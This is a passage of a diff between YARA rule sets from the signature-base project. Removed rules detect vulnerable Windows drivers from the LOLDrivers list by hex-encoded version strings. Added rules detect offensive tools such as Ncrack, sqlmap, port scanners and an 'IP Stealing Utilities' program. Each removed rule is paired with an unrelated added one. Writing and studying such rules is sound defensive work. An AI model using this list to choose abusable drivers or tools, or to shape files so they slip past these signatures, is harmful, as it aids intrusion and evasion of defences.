+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00350030002e0030002e0031003000340031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00350030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100340020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "$tt_xml->process( 'end_domainscan.tt', $end_domainscan_vars,"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_F15A : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Ncrack
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
-		author = "Florian Roth"
-		id = "ec067130-dde8-58a8-884f-eeda3c7adf57"
-		date = "2023-06-14"
+		description = "This signature detects the Ncrack brute force tool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c1c56ee9-7f76-5440-b0e0-86e372c53340"
+		date = "2014-01-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4931-L4951"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f15ae970e222ce06dbf3752b223270d0e726fb78ebec3598b4f8225b5a0880b1"
-		logic_hash = "ae01cd2b9b1c504298c0295fd4f3e54199df371787676f19ba0a3ad9340f0c56"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L141-L154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a42bfaefb873a10821bcc06db109d8ab20daa8c8ac0b6cfb245d2ee339f318bb"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310035002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310035002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 }
+		$s1 = "NcrackOutputTable only supports adding up to 4096 to a cell via"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_4E37 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sqlmap
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "c827a2fc-e533-5113-a7e5-8ae4f5718d63"
-		date = "2023-06-14"
+		description = "This signature detects the SQLMap SQL injection tool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "55a72fe6-f82d-5d55-842f-5d7e1cfcc9fa"
+		date = "2014-01-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4954-L4974"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4e37592a2a415f520438330c32cfbdbd6af594deef5290b2fa4b9722b898ff69"
-		logic_hash = "cd104e4130ef7fcc525a31aacc1180933cd6fe99a7b0c10a54622c512d699364"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L156-L169"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9c248c856c3d91a282012489b53dc9e15569e1bb1a5c9f5e3c7938f7ce0c3157"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100340030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "except SqlmapBaseException, ex:"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_ECD0 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Portscanner_Simple_Jan14
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "f683f7c5-15cb-5e1b-9d6e-4261c85a581a"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file PortScanner.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "3e8960ce-0428-51e1-b992-4fa09fee8520"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4977-L4997"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ecd07df7ad6fee9269a9e9429eb199bf3e24cf672aa1d013b7e8d90d75324566"
-		logic_hash = "48342828a25e7fdd6dad197bb079d58fc1937b9630f021067a7f197e53c912d9"
-		score = 40
+		old_rule_name = "PortScanner"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L171-L183"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b381b9212282c0c650cb4b0323436c63"
+		logic_hash = "c69269b227d46b5b970cfc094b3154b0a533b439b8ed492a2059025bc96d17a0"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003100370036 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "Scan Ports Every"
+		$s3 = "Scan All Possible Ports!"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_36E3 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Domainscanv1_0
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "6ea52f09-df49-5bc4-a3bc-34a80e78b739"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file DomainScanV1_0.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "94ead827-8b29-5cb5-82b6-a7ca5087bf7e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5000-L5020"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "36e3127f045ef1fa7426a3ff8c441092d3b66923d2b69826034e48306609e289"
-		logic_hash = "c8c776a3ef3f452b261c7348f0634f9bac7e00f5028eeb56af41461d240a5216"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L185-L202"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "aefcd73b802e1c2bdc9b2ef206a4f24e"
+		logic_hash = "b06d902528fee5d1718d0a2984af3314e92e1ec7033c7596f9fb0e51a20eb848"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }
+		$s0 = "dIJMuX$aO-EV"
+		$s1 = "XELUxP\"-\\"
+		$s2 = "KaR\"U'}-M,."
+		$s3 = "V.)\\ZDxpLSav"
+		$s4 = "Decompress error"
+		$s5 = "Can't load library"
+		$s6 = "Can't load function"
+		$s7 = "com0tl32:.d"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_FDA9 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Moorer_Port_Scanner
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "d405ca94-8b2c-57cd-b6da-8dbfd5f8d858"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file MooreR Port Scanner.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "5d8fb83f-bed3-53d2-bd33-2158911dc7c8"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5023-L5043"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fda93c6e41212e86af07f57ca95db841161f00b08dae6304a51b467056e56280"
-		logic_hash = "2548a054742e55e13e146fa3389c4fb17bdf4e7785bc824e5dd8be7d0cddd75a"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L204-L217"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "376304acdd0b0251c8b19fea20bb6f5b"
+		logic_hash = "248f437964fc6f7836f6b4c87e1f35bb1bac25a1a484cdf1a4065e7efb823b51"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100310037 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "Description|"
+		$s3 = "soft Visual Studio\\VB9yp"
+		$s4 = "adj_fptan?4"
+		$s7 = "DOWS\\SyMem32\\/o"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriver_D205 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Netbios_Name_Scanner
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_RCIO64.sys"
-		author = "Florian Roth"
-		id = "ea90277d-696d-5674-b679-9a340359e853"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file NetBIOS Name Scanner.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "03716e00-a969-5ab5-9be7-e8fc4272e40f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5046-L5066"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d205286bffdf09bc033c09e95c519c1c267b40c2ee8bab703c6a2d86741ccd3e"
-		logic_hash = "8c88f91ab8ff231e4ab6e532b8d71ba810fa62e684dec7fff6b74c4f85a96f65"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L219-L231"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "888ba1d391e14c0a9c829f5a1964ca2c"
+		logic_hash = "19b40a283b74317fece2f5be0ee3e38227d9631eebbc7efb0ea19056b52630f1"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0031003900300031002e0031003100300030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0031003900300031002e0031003100300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f005200430049004f00360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310038002d0032003000310039002000420049004f0053005400410052002000470072006f00750070 }
+		$s0 = "IconEx"
+		$s2 = "soft Visual Stu"
+		$s4 = "NBTScanner!y&"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrwinddkprovider_Amifldrvsys_Windowsrwinddkdriver_38D8 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Felikspack3___Scanners_Ipscan
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amifldrv64.sys"
-		author = "Florian Roth"
-		id = "9c05031d-2062-53fb-982c-f874bf902b48"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file ipscan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "8360b268-3434-5142-9248-40b7a1589be9"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5069-L5090"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "38d87b51f4b69ba2dae1477684a1415f1a3b578eee5e1126673b1beaefee9a20"
-		hash = "ffc72f0bde21ba20aa97bee99d9e96870e5aa40cce9884e44c612757f939494f"
-		logic_hash = "fb233e5c3cd88ab1450d3371b2f916af9dc8f0b5ffd145e47ad2f0678495b630"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L233-L245"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6c1bcf0b1297689c8c4c12cc70996a75"
+		logic_hash = "8da10a4536ecea889f29bb3f098518580629bf48eda88db7adfc5f61738ede25"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0049002000470065006e00650072006900630020005500740069006c0069007400790020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0061006d00690066006c006400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061006d00690066006c006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s2 = "WCAP;}ECTED"
+		$s4 = "NotSupported"
+		$s6 = "SCAN.VERSION{_"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Highresolutionenterpriseswwwhighrezcouk_Inpoutxsys_Inpoutxdriverversion_X_F581 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Cgisscan_Cgiscan
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - inpoutx64.sys"
-		author = "Florian Roth"
-		id = "2103d553-3e8a-5f81-b54e-c125aa7746ca"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file CGIScan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "60bd5038-a308-55fd-85bb-2c4183f1c951"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5093-L5115"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f581decc2888ef27ee1ea85ea23bbb5fb2fe6a554266ff5a1476acd1d29d53af"
-		hash = "f8965fdce668692c3785afa3559159f9a18287bc0d53abb21902895a8ecf221b"
-		hash = "2d83ccb1ad9839c9f5b3f10b1f856177df1594c66cbbc7661677d4b462ebf44d"
-		logic_hash = "ae7082fe90cf522f7bcbb615b751961972331147af1a56af961d35bf70e87f90"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L247-L259"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "338820e4e8e7c943074d5a5bc832458a"
+		logic_hash = "5bd856a77c53616cf78d093462f8b7ca5a5fb0924406a02941d86bdb015a1fbc"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00650072006e0065006c0020006c006500760065006c00200070006f0072007400200061006300630065007300730020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048006900670068007200650073006f006c007500740069006f006e00200045006e0074006500720070007200690073006500730020005b007700770077002e006800690067006800720065007a002e0063006f002e0075006b005d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320020007800360034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006e0070006f00750074007800360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006e0070006f007500740078003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0032 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006e0070006f00750074007800360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300030003800200048006900670068007200650073006f006c007500740069006f006e00200045006e007400650072007000720069007300650073002e00200050006f007200740069006f006e007300200043006f007000790072006900670068007400200028006300290020004c006f00670069007800340075 }
+		$s1 = "Wang Products" fullword wide
+		$s2 = "WSocketResolveHost: Cannot convert host address '%s'"
+		$s3 = "tcp is the only protocol supported thru socks server"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of ($s*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_12ED : FILE
+import "pe"
+
+rule SIGNATURE_BASE_IP_Stealing_Utilities
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "d8599978-d388-5b67-99ff-d4bde156b433"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file IP Stealing Utilities.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "3a947e9c-d707-5819-88f2-059585750048"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5118-L5138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "12eda8b65ed8c1d80464a0c535ea099dffdb4981c134294cb0fa424efc85ee56"
-		logic_hash = "9c43c1e37bcc87d616e8d7fa1a610b4d3f28b60d2203d0e466939a41b1a8a7d7"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L261-L272"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "65646e10fb15a2940a37c5ab9f59c7fc"
+		logic_hash = "38958edeee6e140e11267cdd7899ad517799dbce33ac267d51dea0f8aecfa1ee"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
